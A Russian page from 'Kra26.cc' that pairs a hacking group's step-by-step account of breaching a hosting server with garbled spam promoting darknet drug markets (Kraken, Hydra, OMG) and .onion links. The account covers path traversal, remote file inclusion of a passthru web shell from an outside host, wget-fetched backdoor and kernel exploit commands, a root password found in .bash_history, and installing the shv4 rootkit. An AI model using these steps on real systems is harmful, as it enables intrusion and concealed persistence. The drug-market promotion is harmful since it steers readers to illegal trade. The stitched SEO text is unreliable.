Kra26.cc
Увлекательная история взлома хостинга в подробностях 1. Поиск жертвыМы выбрали один средний сервер, имя которого умолчим, по причине хостинга на нем
крутилось довольно много популярных и влиятельных сайтов, среди которых был сайт
телеканала и крутой сайт о политике, да и много других. 2. Осмотр местностиНикаких странных портов на сервере не было открыто, все баннеры сервисов были стандартны и неуязвимы. Нужно было действовать изнутри. На счастье администратор сервера любил похвастаться, и вскоре мы обнаружили интересную страничку типа « На нашем сервере расположены сайты… ».3. ВторжениеПоковырявшись на некоторых сайтах из этого списка, был обнаружен какой-то самописный форум. Возможности SQL-инжекции и XSS мы там не нашли.
Но тут на помощь пришел старый добрый товарищ – поисковая система GooGle
:). Был выполнен такой запрос:site: “www.target.com “ AND filetype: “php”Как и ожидалось, google представил нам довольно обширный список php скриптов.
Немного покликав на ссылки, уязвимый скрипт был все-таки найден.
Ссылка была вида:http://www.target.com/forum/index_module.php?module=main&file=redirect.phpСомневаясь в успехе, мы смодифицировали ее к такому виду: http://www.target.com/forum/index_module.php?module= main&file=../../../../../../../../../../etc/passwd Возникла мысль, что если на сервере конфиг php не запрещает открывать ссылки из посторонних сайтов, и включена инициализация глобальных переменных, то можно произвести
php-include.Нам повезло, все было действительно так, ссылка была
изменена следующим образом:http://www.target.com/forum/index_module.php?module= main&file=http://ru24.narod.ru/cmd.php?cmd=idСам cmd.php содержал текст вида:echo "”;
system($_GET['cmd']);
echo "”;
?>Но, сервер выдал нам ошибку, указывающую, что функцию system нельзя использовать на этом сервере. Тогда cmd.php был изменен к следующему виду:echo "”;
passthru($_GET['cmd']);
echo "”;?>После этого, команда id успешно выполнилась. Мы обладали kraken правами apache. Нужно было повышать привилегии. 4. Повышение привилегийЯдро Linux было ветки 2.4.27, которое успешно рутается эксплоитом mremap. Был быстро запущен connback
backdoor.cd /tmp;
wget –o cwb.c http://ru24.narod.ru/cwb.c;Фаервол сек даже исходящие коннекты на левые порты, поэтому пришлось менять порт в бекдоре на 80.gcc cwb.c –o cb;
./bd 68.***.***.**Все, backdoor приконнектился на нужный нам адрес. Далее был скачан и запущен
mremap:wget http://www.security.nnov.ru/files/mremap_pte.c
gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
./ mremap_pte;Но система не сдавалась. Было опробовано еще несколько подобных эксплоитов. Факты питер говорили о том, что админ нас просто разводит. Ведь по команде uname -a выдается SMP система, а при применении эксплоита для этой системы идет запись что это не SMP система, что есть странно и является доказательством присутствия IDS.5. Альтернативные методыТак, администратор решил посмеяться, но смеется тот, кто смеется последний
:). Он все-таки совершил большую ошибку, все каталоги и файлы пользователей были доступны группе apache, членом которой были и мы.
Был пропарсен.bash_history каталога хостинга, где было обнаружено некорректное использование команды su, после чего был найден пароль администратора root. 6. Закрепляемся в системеМы успешно подключились к SSH сервису, далее было принято решение установить руткит shv4.wget http://www.geocities.com/santumadron/shv4.tar.gz;
tar zxvf shv4.tar.gz;
cd shv4;
./setup пароль портПри коннекте на SSH либо на порт руткита вводим логин root и наш пароль.
Теперь лог-файлы наших действий не ведутся, наши процессы не светятся.
Кстати, руткит shv4 является приватным, но это наш подарок вам,
от Nitrex’a и DreAmeRz’a.Авторы: DreAmeRz и Nitrex
E-mail: [email protected]
E-mail: [email protected]
WEB: www.ru24-team.net
Kra26.cc - Кракен наркота
Hydra или крупнейший российский даркнет-рынок по торговле наркотиками, крупнейший в мире ресурс по объёму нелегальных операций с криптовалютой. Поисковики Настоятельно рекомендуется тщательно проверять ссылки, которые доступны в выдаче поисковой системы. Приятного аппетита от Ани. Только на форуме покупатели могут быть, так сказать, на короткой ноге с представителями магазинов, так же именно на форуме они могут отслеживать все скидки и акции любимых магазинов. Наши администраторы систематически мониторят и обновляют перечень зеркал площадки. В сети существует два ресурса схожих по своей тематике с Гидрой, которые на данный момент заменили. Причем он не просто недоступен, а отключен в принципе. Турбо-режимы браузеров и Google Переводчик Широко известны способы открытия заблокированных сайтов, которые не требуют установки специальных приложений и каких-либо настроек. Вся информация представленна в ознакомительных целях и пропагандой не является. Vabu56j2ep2rwv3b.onion - Russian cypherpunks community Русское общество шифропанков в сети TOR. В этой Википедии вы найдете все необходимые вам ссылки для доступа к необходимым вам, заблокированным или запрещённым сайтам. Отдельной строкой стоит упомянуть и сервис Vemeo, который, как и TunnelBear, присутствует на всех основных платформах, однако стоит 3,95 доллара в месяц, так что его трудно рекомендовать для любительского использования. Начали конкурентную борьбу между собой за право быть первым в даркнете. Onion - Harry71, робот-проверяльщик доступности.onion-сайтов. Если чуть привыкнуть. Заголовок ответа сервера http/1.1 200 OK Date: Thu, 08:06:39 GMT Server: Apache/2.2.22 Last-Modified: Thu, 08:47:35 GMT ETag: "7fdf5-ba86-5492eaa21f1be" Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 11447 Content-Type: text/html; charsetUTF-8 Ссылки (даже если они и име. Silk Road (http silkroadvb5piz3r.onion) - ещё одна крупная анонимная торговая площадка (ENG). Думаю, вы не перечитываете по нескольку раз ссылки, на которые переходите. Из-за этого в 2019 году на платформе было зарегистрировано.5 миллиона новых аккаунтов. Vtg3zdwwe4klpx4t.onion - Секретна скринька хунти некие сливы мейлов анти-украинских деятелей и их помощников, что-то про военные отношения между Украиной и Россией, насколько я понял. ( зеркала и аналоги The Hidden Wiki) Сайты со списками ссылок Tor ( зеркала и аналоги The Hidden Wiki) torlinkbgs6aabns. Выбирая на магазине Мега Даркнет анонимные способы оплаты, типа Биткоин, вы дополнительно страхуете себя. Есть сотни сайтов, где рассказывается о безопасности поиска и использования сайта ОМГ. Даже на расстоянии мы находим способы оставаться рядом. Если для вас главное цена, то выбирайте в списке любой, а если для вас в приоритете место товара и вы не хотите тратить много времени тогда выбирайте вариант моментальной покупки. Сам же сайт включает в себя множество функций которые помогают купить или продать вес буквально автоматизированно, и без лишних третьих лиц.
Ру поможет купить недорогие аналогичные лекарства в удобных вам. Onion - Facebook, та самая социальная сеть. Telegram боты. Танки Онлайн первый многопользовательский браузерный 3D-боевик. Исходя из данной информации можно сделать вывод, что попасть в нужную нам часть тёмного интернета не очень-то и сложно, всего лишь необходимо найти нужные нам ссылки, которые, кстати, все есть в специальной Википедии черного интернета. Тороговая площадка! Жека 3 дня назад Работает! По своей тематике, функционалу и интерфейсу даркнет маркет полностью соответствует своему предшественнику. Можно утверждать сайт надежный и безопасный. Самый удобный способ отслеживать актуальные изменения - делать это на этой странице. Для того чтобы зайти в через Tor Browser, от пользователя требуется только две вещи: наличие установленного на компьютере или ноутбуке анонимного. 1 Как зайти на OMG! Удобный интерфейс Находи любимые товары в своем городе и покупай в несколько кликов. Большой выбор, фото, отзывы. С помощью удобного фильтра для поиска можно выбрать категорию каталога, город, район и найти нужное вещество. Если вы не хотите случайно стать жертвой злоумышленников - заходите на OMG! " торг" скидка 10 НА первый онлайн заказ. Обзор платных и бесплатных популярных систем и сервисов для ретаргетинга и RTB: создание, управление и аналитика рекламных кампаний в интернете. Вам необходимо зарегистрироваться для просмотра ссылок. Самая крупная торговая онлайн-площадка в сети. Интуитивное управление Сайт сделан доступным и понятным для каждого пользователя, независимо от его навыков. Главгосэкспертиза России выдала положительное заключение на проект и результаты. Ранее на reddit значился как скам, сейчас пиарится известной зарубежной площадкой. Hydra или крупнейший российский -рынок по торговле наркотиками, крупнейший в мире ресурс по объёму нелегальных операций с криптовалютой. Содержание Торговый центр «мега Белая Дача» 2002 открытие первого торгового центра «мега Тёплый Стан». Даже на расстоянии мы находим способы оставаться рядом. Финальный же удар по площадке оказал крах биржи BTC-E, где хранились депозиты дилеров ramp и страховочный бюджет владельцев площадки. Дайвинговое снаряжение. Самый большой и интересный каталог комиксов и товаров в стиле любимых супергероев и персонажей из киновселенной! Доля свободных площадей по итогам 2015 финансового года (по средним показателям всех торговых центров сети) составляет 1,4 .